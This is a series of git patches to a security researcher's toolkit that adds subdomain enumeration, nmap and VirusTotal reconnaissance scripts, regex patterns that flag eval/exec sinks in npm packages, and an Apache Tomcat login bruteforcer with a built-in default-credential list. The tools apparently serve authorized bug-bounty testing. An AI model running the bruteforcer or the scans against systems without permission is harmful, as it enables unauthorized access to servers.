@@ """ --- dENUMerator --- -by bl4de | bloorq@gmail.com | Twitter: @_bl4de | HackerOne: bl4de +by bl4de | bloorq@gmail.com | HackerOne: bl4de Enumerates list of subdomains (output from tools like Sublist3r or subbrute) and creates output file with servers responding on port 80/HTTP diff --git a/virustotal.py b/virustotal.py new file mode 100755 index 0000000..ace81a2 --- /dev/null +++ b/virustotal.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python + +from netaddr import * +import ctfpwn +import json +import time +import os +import argparse + + +virus_total_api_key = os.environ['VIRUS_TOTAL_API_KEY'] + + +def process(cidr, logfile='virustotal.log'): + total_found_domains = 0 + ips = IPSet([cidr]) + + for ip in ips: + print("\n[+] Resolving IP: {}".format(ip)) + found_domains = 0 + + url = 'https://www.virustotal.com/vtapi/v2/ip-address/report?apikey={}&ip={}'.format( + virus_total_api_key, str(ip)) + + resp = ctfpwn.http_get(url) + + if resp: + domains = json.loads(resp) + + if (domains['response_code'] == 0): + print "[-] Empty response for {}".format(str(ip)) + time.sleep(15) + continue + + f = open(logfile, 'a') + + for d in domains['resolutions']: + print('>>> {}'.format(d['hostname'])) + found_domains = found_domains + 1 + f.write("{}\n".format(d['hostname'])) + + print "[+] Found {} domain(s) on {}".format(found_domains, str(ip)) + print("[+] Waiting 15 sec. until next request (VirusTotal API restriction)") + total_found_domains = total_found_domains + found_domains + f.close() + else: + print "[-] Empty response for {}".format(str(ip)) + + time.sleep(15) + + print("\n\n[+] Done, found {} in total".format(total_found_domains)) + + +def main(): + + parser = argparse.ArgumentParser() + logfile = '' + + parser.add_argument( + "-c", "--cidr", help="Network CIDR") + parser.add_argument( + "-o", "--output", help="Log filename (default - virustotal.log)") + + args = parser.parse_args() + + if args.output: + logfile = args.output + if args.cidr: + process(args.cidr, logfile) + + +if __name__ == "__main__": + main() From 0caf89db9614b57c4cd0c6e3cd9de85066aaf588 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 28 Feb 2020 15:56:47 +0000 Subject: [PATCH 042/369] exec() pattern added [nodestructor] --- nodestructor/nodestructor.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index ecead64..e31d1d1 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -49,6 +49,7 @@ ".*pipe\(res", ".*bodyParser\(", ".*eval\(", + ".*exec\(", ".*res.write\(", ".*child_process", ".*child_process.exec\(", From d636012fb674c25049faadf28d6931d4cf4dd508 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 8 Mar 2020 15:24:06 +0000 Subject: [PATCH 043/369] [denumerator] Allowed HTTP response codes as an option --- denumerator/denumerator.py | 36 +++++++++++++++++++++++------------- 1 file changed, 23 insertions(+), 13 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 98e6667..6991621 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -23,12 +23,12 @@ usage: $ ./denumerator.py [domain_list_file] """ + import argparse import sys import os import time import requests - welcome = """ --- dENUMerator --- usage: @@ -56,12 +56,11 @@ "lightgrey": '\33[37m', "lightblue": '\33[94' } - requests.packages.urllib3.disable_warnings() -allowed_http_responses = [200, 302, 403, 404, 405, 415, 422, 500] -# allowed_http_responses = [200] + timeout = 2 + def usage(): """ prints welcome message @@ -135,7 +134,7 @@ def create_output_footer(html_output): return -def send_request(proto, domain, output_file, html_output): +def send_request(proto, domain, output_file, html_output, allowed_http_responses): """ sends request to check if server is alive """ @@ -151,12 +150,11 @@ def send_request(proto, domain, output_file, html_output): allow_redirects=False, verify=False, headers={'Host': domain}) - - if resp.status_code in allowed_http_responses: + if str(resp.status_code) in allowed_http_responses: print('[+] {}HTTP {}{}:\t {}'.format( colors[resp.status_code], resp.status_code, colors['white'], domain)) - if resp.status_code in allowed_http_responses: + if str(resp.status_code) in allowed_http_responses: append_to_output(html_output, protocols.get( proto.lower()) + domain, resp.status_code) @@ -167,15 +165,17 @@ def send_request(proto, domain, output_file, html_output): return resp.status_code -def enumerate_domains(domains, output_file, html_output, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, show=False): """ enumerates domain from domains """ for d in domains: try: d = d.strip('\n').strip('\r') - send_request('http', d, output_file, html_output) - send_request('https', d, output_file, html_output) + send_request('http', d, output_file, + html_output, allowed_http_responses) + send_request('https', d, output_file, + html_output, allowed_http_responses) except requests.exceptions.InvalidURL: if show is True: @@ -202,6 +202,7 @@ def enumerate_domains(domains, output_file, html_output, show=False): def main(): parser = argparse.ArgumentParser() + allowed_http_responses = [] parser.add_argument( "-f", "--file", help="File with list of hostnames") @@ -211,6 +212,9 @@ def main(): "-s", "--success", help="Show all responses, including exceptions") parser.add_argument( "-o", "--output", help="Path to output file") + parser.add_argument( + "-c", "--code", help="Show only selected HTTP response status codes, comma separated" + ) args = parser.parse_args() if args.timeout: @@ -221,6 +225,11 @@ def main(): else: output_file = False + if args.code: + allowed_http_responses = args.code.split(',') + else: + allowed_http_responses = [200] + # set options show = True if args.success else False domains = open(args.file, 'r').readlines() @@ -233,11 +242,12 @@ def main(): html_output = open('report/__denumerator_report.html', 'w+') create_output_header(html_output) # main loop - enumerate_domains(domains, output_file, html_output, show) + enumerate_domains(domains, output_file, html_output, + allowed_http_responses, show) # summary create_summary(html_output) - + # finish HTML output create_output_footer(html_output) html_output.close() From 85a6cb642a614638071f3f4629b3fc071ef513b7 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 9 Apr 2020 18:44:07 +0100 Subject: [PATCH 044/369] [denumerator] Fix for default -c/--code option --- denumerator/denumerator.py | 2 +- virustotal.py | 8 +++----- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 6991621..15869b2 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -228,7 +228,7 @@ def main(): if args.code: allowed_http_responses = args.code.split(',') else: - allowed_http_responses = [200] + allowed_http_responses = ['200'] # set options show = True if args.success else False diff --git a/virustotal.py b/virustotal.py index ace81a2..55dc91a 100755 --- a/virustotal.py +++ b/virustotal.py @@ -7,10 +7,8 @@ import os import argparse - virus_total_api_key = os.environ['VIRUS_TOTAL_API_KEY'] - def process(cidr, logfile='virustotal.log'): total_found_domains = 0 ips = IPSet([cidr]) @@ -28,7 +26,7 @@ def process(cidr, logfile='virustotal.log'): domains = json.loads(resp) if (domains['response_code'] == 0): - print "[-] Empty response for {}".format(str(ip)) + print("[-] Empty response for {}".format(str(ip))) time.sleep(15) continue @@ -39,12 +37,12 @@ def process(cidr, logfile='virustotal.log'): found_domains = found_domains + 1 f.write("{}\n".format(d['hostname'])) - print "[+] Found {} domain(s) on {}".format(found_domains, str(ip)) + print("[+] Found {} domain(s) on {}".format(found_domains, str(ip))) print("[+] Waiting 15 sec. until next request (VirusTotal API restriction)") total_found_domains = total_found_domains + found_domains f.close() else: - print "[-] Empty response for {}".format(str(ip)) + print("[-] Empty response for {}".format(str(ip))) time.sleep(15) From 05db1270c9592ff9cdfc10b51d0cf95057a004fb Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 9 Apr 2020 20:05:28 +0100 Subject: [PATCH 045/369] [denumerator] HTTP response headers, IPs, nmap scan results; refactoring; HTML report redesign --- denumerator/denumerator.py | 131 ++++++++++++++++++++++++++++--------- 1 file changed, 100 insertions(+), 31 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 15869b2..5e8db98 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -27,6 +27,7 @@ import argparse import sys import os +import subprocess import time import requests welcome = """ @@ -75,25 +76,40 @@ def create_output_header(html_output): denumerator output + + """ html_output.write(html) return -def create_summary(html_output): - html = """ -
-

Denumerator Summary

-
- - """ - html_output.write(html) - - -def append_to_output(html_output, url, http_status_code): +def append_to_output(html_output, url, http_status_code, response_headers, nmap_output, ip_addresses): screenshot_name = url.replace('https', '').replace( 'http', '').replace('://', '') + '.png' screenshot_cmd = '/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --headless --user-agent="bl4de/HackerOne" --disable-gpu --screenshot={} '.format( @@ -111,15 +127,54 @@ def append_to_output(html_output, url, http_status_code): if http_status_code in [403, 415, 422, 500]: http_status_code_color = "c00" + # IP address information + ip_html = "
" + ips = [ip for ip in ip_addresses.split(b"\n")] + for ip in ips: + if ip.find(b"address") > 0: + ip_html = ip_html + "

IP: {}

".format( ip.split(b"address")[1].decode("utf-8") ) + ip_html = ip_html + "
" + + # nmap scan results + open_ports = [port for port in nmap_output.stdout.split( + b"\n") if port.find(b"open") > 0] + nmap_html = "
" + for port in open_ports: + nmap_html = nmap_html + \ + "

{}

".format(port.decode("utf-8")) + nmap_html = nmap_html + "
" + + # HTTP response headers + response_headers_html = "" + for header in response_headers.keys(): + response_headers_html = response_headers_html + "

{} : {}

".format( + header, response_headers[header] + ) + html = """ -
-

HTTP Response Status: {}

-

- {} -

- -
- """.format(http_status_code_color, http_status_code, url, url, screenshot_name) + + + + + + + + """.format(http_status_code_color, http_status_code, url, url, screenshot_name, response_headers_html, ip_html, nmap_html) html_output.write(html) html_output.flush() return @@ -127,14 +182,15 @@ def append_to_output(html_output, url, http_status_code): def create_output_footer(html_output): html = """ - - +
+

HTTP Response Status: {}

+

+ {} +

+ +
+

HTTP Response Headers

+ {} +
+

IP host addresses

+ {} +
+

nmap scan results

+ {} +
+ + """ html_output.write(html) return -def send_request(proto, domain, output_file, html_output, allowed_http_responses): +def send_request(proto, domain, output_file, html_output, allowed_http_responses, nmap_output, ip): """ sends request to check if server is alive """ @@ -156,7 +212,7 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses if str(resp.status_code) in allowed_http_responses: append_to_output(html_output, protocols.get( - proto.lower()) + domain, resp.status_code) + proto.lower()) + domain, resp.status_code, resp.headers, nmap_output, ip) if output_file: output_file.write('{}\n'.format(domain)) @@ -165,17 +221,27 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses return resp.status_code -def enumerate_domains(domains, output_file, html_output, allowed_http_responses, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, show=False): """ enumerates domain from domains """ for d in domains: try: d = d.strip('\n').strip('\r') + + # IP address + ip = subprocess.run(["host", d], capture_output=True).stdout + + # perform nmap scan + nmap_output = subprocess.run( + ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) + print([port.decode("utf-8") + for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0]) + send_request('http', d, output_file, - html_output, allowed_http_responses) + html_output, allowed_http_responses, nmap_output, ip) send_request('https', d, output_file, - html_output, allowed_http_responses) + html_output, allowed_http_responses, nmap_output, ip) except requests.exceptions.InvalidURL: if show is True: @@ -213,7 +279,11 @@ def main(): parser.add_argument( "-o", "--output", help="Path to output file") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated" + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200' + ) + + parser.add_argument( + "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 ) args = parser.parse_args() @@ -230,6 +300,8 @@ def main(): else: allowed_http_responses = ['200'] + nmap_top_ports = args.ports + # set options show = True if args.success else False domains = open(args.file, 'r').readlines() @@ -243,10 +315,7 @@ def main(): create_output_header(html_output) # main loop enumerate_domains(domains, output_file, html_output, - allowed_http_responses, show) - - # summary - create_summary(html_output) + allowed_http_responses, nmap_top_ports, show) # finish HTML output create_output_footer(html_output) From d9c1887577bb4df1e52093a70b78313fde796192 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 26 Apr 2020 00:01:51 +0100 Subject: [PATCH 046/369] Apache Tomcat login bruteforcer [apache-tomcat-login-bruteforce.py] --- .gitignore | 1 + apache-tomcat-login-bruteforce.py | 155 ++++++++++++++++++++++++++++++ denumerator/denumerator.py | 2 +- 3 files changed, 157 insertions(+), 1 deletion(-) create mode 100755 apache-tomcat-login-bruteforce.py diff --git a/.gitignore b/.gitignore index 3606a75..b48f25f 100644 --- a/.gitignore +++ b/.gitignore @@ -13,3 +13,4 @@ sword/OUTPUT *.log .vscode +.history/ diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py new file mode 100755 index 0000000..0afc5ce --- /dev/null +++ b/apache-tomcat-login-bruteforce.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +""" +@author: bl4de | bloorq@gmail.com +@licence: MIT | https://opensource.org/licenses/MIT + +Apache Tomcat credentials bruteforce login +with Tomcat defualt username/password list. + +So technically it's not bruteforcing :) +""" + +import requests +import argparse + +""" +default Apache Tomcat credentials +source: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt +""" +credentials = [ + 'admin:', + 'admin:admanager', + 'admin:admin', + 'admin:admin', + 'ADMIN:ADMIN', + 'admin:adrole1', + 'admin:adroot', + 'admin:ads3cret', + 'admin:adtomcat', + 'admin:advagrant', + 'admin:password', + 'admin:password1', + 'admin:Password1', + 'admin:tomcat', + 'admin:vagrant', + 'both:admanager', + 'both:admin', + 'both:adrole1', + 'both:adroot', + 'both:ads3cret', + 'both:adtomcat', + 'both:advagrant', + 'both:tomcat', + 'cxsdk:kdsxc', + 'j2deployer:j2deployer', + 'manager:admanager', + 'manager:admin', + 'manager:adrole1', + 'manager:adroot', + 'manager:ads3cret', + 'manager:adtomcat', + 'manager:advagrant', + 'manager:manager', + 'ovwebusr:OvW*busr1', + 'QCC:QLogic66', + 'role1:admanager', + 'role1:admin', + 'role1:adrole1', + 'role1:adroot', + 'role1:ads3cret', + 'role1:adtomcat', + 'role1:advagrant', + 'role1:role1', + 'role1:tomcat', + 'role:changethis', + 'root:admanager', + 'root:admin', + 'root:adrole1', + 'root:adroot', + 'root:ads3cret', + 'root:adtomcat', + 'root:advagrant', + 'root:changethis', + 'root:owaspbwa', + 'root:password', + 'root:password1', + 'root:Password1', + 'root:r00t', + 'root:root', + 'root:toor', + 'tomcat:', + 'tomcat:admanager', + 'tomcat:admin', + 'tomcat:admin', + 'tomcat:adrole1', + 'tomcat:adroot', + 'tomcat:ads3cret', + 'tomcat:adtomcat', + 'tomcat:advagrant', + 'tomcat:changethis', + 'tomcat:password', + 'tomcat:password1', + 'tomcat:s3cret', + 'tomcat:s3cret', + 'tomcat:tomcat', + 'xampp:xampp', + 'server_admin:owaspbwa', + 'admin:owaspbwa', + 'demo:demo' +] + + +def brute(args): + """ + Iterate over login:password pairs from credentials and send GET request to + Apache Tomcat with Authorization header set + + If HTTP response status is not equal 403, we probably found valid credentials + """ + url = "{}://{}:{}/{}".format(args.proto.lower(), args.host, args.port, args.manager) + for lp in credentials: + (login, password) = lp.split(':') + print("[.] checking {}:{}...\r".format(login, password), end="") + resp = requests.get( + url=url, + auth=(login, password) + ) + + # 401 Unauthorized ? + if resp.status_code == 200: + return (login, password) + + return (False, False) + + +def main(): + """ + Main execution routine. + """ + parser = argparse.ArgumentParser() + parser.add_argument( + "-H", "--host", help="Apache Tomcat hostname") + parser.add_argument( + "-P", "--proto", help="Protocol: http or https", choices=['http', 'https']) + parser.add_argument( + "-m", "--manager", help="Path to Host Manager (default: /manager/html)", default="manager/html" + ) + parser.add_argument( + "-p", "--port", type=int, default=8080, help="port (default - 8080)") + + args = parser.parse_args() + + (login, password) = brute(args) + + if login != False: + print("[+] BOOM! Found valid credentials: {}:{}".format(login, password)) + else: + print("[-] No valid credentials found :(") + + exit(0) + + +""" +Run! +""" +main() diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 5e8db98..04c6229 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -97,7 +97,7 @@ def create_output_header(html_output): vertical-align: top; text-align: left; padding: 10px; - border-top: 10px solid #6e6f6f; + border-top: 12px solid #6e6f6f; } From 8608ffc5998c52594c8fb87c445494237bb15d2b Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 02:23:27 +0100 Subject: [PATCH 047/369] refactoring --- apache-tomcat-login-bruteforce.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py index 0afc5ce..88870ed 100755 --- a/apache-tomcat-login-bruteforce.py +++ b/apache-tomcat-login-bruteforce.py @@ -101,15 +101,15 @@ def brute(args): """ - Iterate over login:password pairs from credentials and send GET request to + Iterate over login:password pairs from credentials array and send GET request to Apache Tomcat with Authorization header set - If HTTP response status is not equal 403, we probably found valid credentials + If HTTP response status is equal 200, we found valid credentials """ url = "{}://{}:{}/{}".format(args.proto.lower(), args.host, args.port, args.manager) for lp in credentials: (login, password) = lp.split(':') - print("[.] checking {}:{}...\r".format(login, password), end="") + print("[.] checking {}:{}..................................................\r".format(login, password), end="") resp = requests.get( url=url, auth=(login, password) From a4aeb313dc624d91283a26855a42faf84a9c8c4f Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 02:56:05 +0100 Subject: [PATCH 048/369] [virustotal] Fix for missing default virustotal.log file --- virustotal.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virustotal.py b/virustotal.py index 55dc91a..23ad0e4 100755 --- a/virustotal.py +++ b/virustotal.py @@ -9,7 +9,7 @@ virus_total_api_key = os.environ['VIRUS_TOTAL_API_KEY'] -def process(cidr, logfile='virustotal.log'): +def process(cidr, logfile): total_found_domains = 0 ips = IPSet([cidr]) @@ -52,7 +52,7 @@ def process(cidr, logfile='virustotal.log'): def main(): parser = argparse.ArgumentParser() - logfile = '' + logfile = 'virustotal.log' parser.add_argument( "-c", "--cidr", help="Network CIDR") From 3c34eb73300794dd5bb9ae307edc9bd430476830 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 11:02:23 +0100 Subject: [PATCH 049/369] [virustotal.py] change log file name --- virustotal.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virustotal.py b/virustotal.py index 23ad0e4..9a6aa7a 100755 --- a/virustotal.py +++ b/virustotal.py @@ -52,12 +52,12 @@ def process(cidr, logfile): def main(): parser = argparse.ArgumentParser() - logfile = 'virustotal.log' + logfile = 'virustotal.domains' parser.add_argument( "-c", "--cidr", help="Network CIDR") parser.add_argument( - "-o", "--output", help="Log filename (default - virustotal.log)") + "-o", "--output", help="Log filename (default - virustotal.domains)") args = parser.parse_args() From bb31905fb6bc1372cbc0029fca15a73261374ca8 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 14:59:42 +0100 Subject: [PATCH 050/369] [denumerator] Fix for timing out in subprocess.run(); add refactored subdomain_enum.sh --- denumerator/denumerator.py | 4 +- subdomain_enum.sh | 98 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 101 insertions(+), 1 deletion(-) create mode 100755 subdomain_enum.sh diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 04c6229..1c2c0c3 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -230,7 +230,7 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, d = d.strip('\n').strip('\r') # IP address - ip = subprocess.run(["host", d], capture_output=True).stdout + ip = subprocess.run(["host", d], capture_output=True, timeout=15).stdout # perform nmap scan nmap_output = subprocess.run( @@ -261,6 +261,8 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, print('[-] {} probably went into redirects loop :('.format(d)) except UnicodeError: pass + except subprocess.TimeoutExpired: + pass else: pass diff --git a/subdomain_enum.sh b/subdomain_enum.sh new file mode 100755 index 0000000..daea6b3 --- /dev/null +++ b/subdomain_enum.sh @@ -0,0 +1,98 @@ +#!/bin/bash +# Subdomain enumeration and web server discovery + screenshot tools +# +# @author: bl4de +# @licence: MIT +# + + +## create domains/ folder +create_domains_folder() { + if [ ! -d domains ]; then + mkdir domains + echo -e "$(date) domains/ folder created" >> subdomain_enum.log + fi +} + + +## perform sublist3r and amass enumeration on each domain passed as an argument +enumerate_domain() { + local DOMAIN=$1 + echo -e "$(date) started enumerate $DOMAIN" >> subdomain_enum.log + sublister -d $DOMAIN -o domains/$DOMAIN.sublister + amass enum -brute -min-for-recursive 1 -d $DOMAIN -o domains/$DOMAIN.amass + + if [ -s domains/$DOMAIN.sublister ] || [ -s domains/$DOMAIN.amass ]; then + cat domains/$DOMAIN.* > domains/$DOMAIN.all + sort -u -k 1 domains/$DOMAIN.all > domains/$DOMAIN + fi + rm -f domains/$DOMAIN.* + echo -e "$(date) finished enumerate $DOMAIN, total number of unique domains found: $(cat domains/$DOMAIN|wc -l)" >> subdomain_enum.log +} + +## processing all outputed list of domains into one, removing dups +## and sorting +create_list_of_domains() { + echo -e "$(date) create final list of domains found..." >> subdomain_enum.log + # concatenate and sort all domains from the target + cat domains/*.* > domains/domains.all + sort -u -k 1 domains/domains.all > domains/__domains + # remove odd
left by Sublist3r or amass :P + sed 's/
/#/g' __domains | tr '#' '\n' > __domains.final + rm -f domains/domains.all + echo -e "$(date) ... Done! $(cat domains/__domains.final|wc -l) unique domains gathered \o/" >> subdomain_enum.log +} + + +## runs denumerator +run_denumerator() { + echo -e "$(date) denumerator started" >> subdomain_enum.log + denumerator -f domains/__domains.final -c 200,302,403,500 + echo -e "$(date) denumerator finished" >> subdomain_enum.log + echo -e "$(date) total webservers enumerated and saved to report: $(ls -l report/ | wc -l)" >> subdomain_enum.log +} + + +## performs nmap scan +run_virustotal_enum() { + echo -e "$(date) virustotal $CIDR enumeration started" >> subdomain_enum.log + # run virustotal.py reverse domain search + virustotal --cidr $CIDR --output domains/virustotal.domains + echo -e "$(date) virustotal $CIDR enumeration finished, $(cat domains/virustotal.domains|wc -l) domains found" >> subdomain_enum.log +} + + +## ----------------------------------------------------------------------------- + +# list of domains - text file, one domain in single line +DOMAINS=$1 + +# IP address range +CIDR=$2 + +echo -e "$(date) subdomain_enum.sh started" >> subdomain_enum.log + +# enusre that domains/ folder exists, if not create one +create_domains_folder + +if [[ -n $CIDR ]]; then + run_virustotal_enum +fi + +cat $DOMAINS | while read DOMAIN +do + enumerate_domain $DOMAIN +done + +# concatenate and sort all domains from the target +create_list_of_domains +echo -e "\n[+} DONE. Found $(wc -l domains/__domains.final) unique subdomains" + +# run denumerator on the domains/domains.final output file +run_denumerator + +echo -e "\n[+} DONE." + +## ----------------------------------------------------------------------------- + + From f5cfb22f08ffe319ef4587975e130098fdf65cb6 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 3 May 2020 15:09:38 +0100 Subject: [PATCH 051/369] [apache-tomcat-login-bruteforce] Fix for invalid SSL certificates when executing GET to HOST/manager/html --- apache-tomcat-login-bruteforce.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py index 88870ed..0f15823 100755 --- a/apache-tomcat-login-bruteforce.py +++ b/apache-tomcat-login-bruteforce.py @@ -11,11 +11,15 @@ import requests import argparse +import urllib3 """ default Apache Tomcat credentials source: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt """ + +urllib3.disable_warnings() + credentials = [ 'admin:', 'admin:admanager', @@ -112,7 +116,8 @@ def brute(args): print("[.] checking {}:{}..................................................\r".format(login, password), end="") resp = requests.get( url=url, - auth=(login, password) + auth=(login, password), + verify=False ) # 401 Unauthorized ? From d324bfdeaccbfe50f1cea3cc13e1ec4aa84bec09 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 10 May 2020 03:04:56 +0100 Subject: [PATCH 052/369] Some refactoring; some new tools --- crawl.py | 35 ++++++++++ denumerator/denumerator.py | 2 +- nodestructor/nodestructor.py | 3 +- npmpwnr.py | 124 +++++++++++++++++++++++++++++++++++ 4 files changed, 161 insertions(+), 3 deletions(-) create mode 100644 crawl.py create mode 100755 npmpwnr.py diff --git a/crawl.py b/crawl.py new file mode 100644 index 0000000..1b4fc55 --- /dev/null +++ b/crawl.py @@ -0,0 +1,35 @@ +#!/usr/bin/python +import sys +import json +import requests +import argparse +from bs4 import BeautifulSoup + + +def results(file): + content = open(file, 'r').readlines() + for line in content: + data = json.loads(line.strip()) + urls = [] + for url in data['results']: + urls.append(url['url']) + return urls + + +def crawl(url): + r = requests.get(url) + soup = BeautifulSoup(r.text, 'lxml') + links = soup.findAll('a', href=True) + for link in links: + link = link['href'] + if link and link != '#': + print '[+] {} : {}'.format(url, link) + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("file", help="ffuf results") + args = parser.parse_args() + urls = results(args.file) + + for url in urls: + crawl(url) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 1c2c0c3..2c68f30 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -285,7 +285,7 @@ def main(): ) parser.add_argument( - "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 + "-p", "--ports", help="--top-ports option for nmap (default = 1000)", default=1000 ) args = parser.parse_args() diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e31d1d1..9c7d0bf 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -50,6 +50,7 @@ ".*bodyParser\(", ".*eval\(", ".*exec\(", + ".*execSync\(", ".*res.write\(", ".*child_process", ".*child_process.exec\(", @@ -57,8 +58,6 @@ ".*execFile\(", ".*spawn\(", ".*fork\(", - # ".*setTimeout\(", - # ".*setInterval\(", ".*setImmediate\(", ".*newBuffer\(", ".*\.constructor\(" diff --git a/npmpwnr.py b/npmpwnr.py new file mode 100755 index 0000000..d507e49 --- /dev/null +++ b/npmpwnr.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python3 +import requests +import json +import subprocess +import os +import re +import sys + + +limit = 10 +skip = 100 + +registry_base_url = "https://registry.npmjs.com" +logfile = "vulnerable.log" + +headers = { + "User-Agent": "bl4de@wearehackerone" +} +npm_home_dir = "{}/node_modules".format(os.environ['HOME']) + +patterns = [ + ".*url.parse\(", + ".*[pP]ath.normalize\(", + ".*fs.*File.*\(", + ".*fs.*Read.*\(", + ".*pipe\(res", + ".*bodyParser\(", + ".*eval\(", + ".*exec\(", + ".*execSync\(", + ".*res.write\(", + ".*child_process", + ".*child_process.exec\(", + ".*\sFunction\(", + ".*execFile\(", + ".*spawn\(", + ".*fork\(", + ".*setImmediate\(", + ".*newBuffer\(", + ".*\.constructor\(" +] + + +def get_list_of_packages_to_process(keyword, size): + res = requests.get( + url="{}{}".format( + registry_base_url, "/-/v1/search?text={}&size={}".format(keyword, size)), + headers=headers + ) + if res.status_code == 200: + return res.json() + + return False + + +def get_package_details(pkg_name): + res = requests.get( + url="{}{}".format(registry_base_url, pkg_name), + headers=headers + ) + if res.status_code == 200: + return res.json() + + return False + + +def install_package(pkg_name): + subprocess.run(["npm", "i", pkg_name]) + + +def process_files(subdirectory, sd_files, log): + """ + recursively iterates ofer all files and checks those which meet + criteria set by options only + """ + for __file in sd_files: + current_filename = os.path.join(subdirectory, __file) + if current_filename[-3:] == '.js': + perform_code_analysis(current_filename, log) + + +def perform_code_analysis(src, log): + """ + performs code analysis, line by line + """ + print_filename = True + + _file = open(src, "r") + _code = _file.readlines() + i = 0 + found = False + for _line in _code: + i += 1 + __line = _line.strip() + for __pattern in patterns: + __rex = re.compile(__pattern) + if __rex.match(__line.replace(' ', '')): + found = True + if found == True: + print("file {} is vulnerable".format(src)) + log.write("{}\n".format(src)) + + +if len(sys.argv) < 2: + exit('No keywork provided, exiting...') +else: + keyword = sys.argv[1] + +size = 10 # default +if len(sys.argv) == 3: + size = int(sys.argv[2]) + +log = open(logfile, "w") + +# get list of packages to process +pkgs = get_list_of_packages_to_process(keyword, size) + +for pkg in pkgs['objects']: + pkg_name = pkg['package']['name'] + install_package(pkg_name) + log.write("\n{}\n".format(pkg_name)) + + for subdir, dirs, files in os.walk("{}/{}".format(npm_home_dir, pkg_name)): + process_files(subdir, files, log) From 029f95e2610fef68092ab918b2553d9726ed8b27 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 5 Jul 2020 14:57:21 +0100 Subject: [PATCH 053/369] [denumerator] add timestamp when screenshot is made to spot when denumerator freezes --- denumerator/denumerator.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 2c68f30..9bdfaf2 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -30,6 +30,7 @@ import subprocess import time import requests +from datetime import datetime welcome = """ --- dENUMerator --- usage: @@ -207,8 +208,8 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses verify=False, headers={'Host': domain}) if str(resp.status_code) in allowed_http_responses: - print('[+] {}HTTP {}{}:\t {}'.format( - colors[resp.status_code], resp.status_code, colors['white'], domain)) + print('[+] {} {}HTTP {}{}:\t {}'.format( + datetime.now().strftime("%H:%M:%S"), colors[resp.status_code], resp.status_code, colors['white'], domain)) if str(resp.status_code) in allowed_http_responses: append_to_output(html_output, protocols.get( From 44d60a59e1852ee0be9caabcf251fa18963c2723 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 18 Jul 2020 21:48:01 +0100 Subject: [PATCH 054/369] update directory with tools --- enumeratescope.sh | 98 ++++++++++++ hasher.py | 1 - s0mbra.sh | 391 ++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 489 insertions(+), 1 deletion(-) create mode 100755 enumeratescope.sh create mode 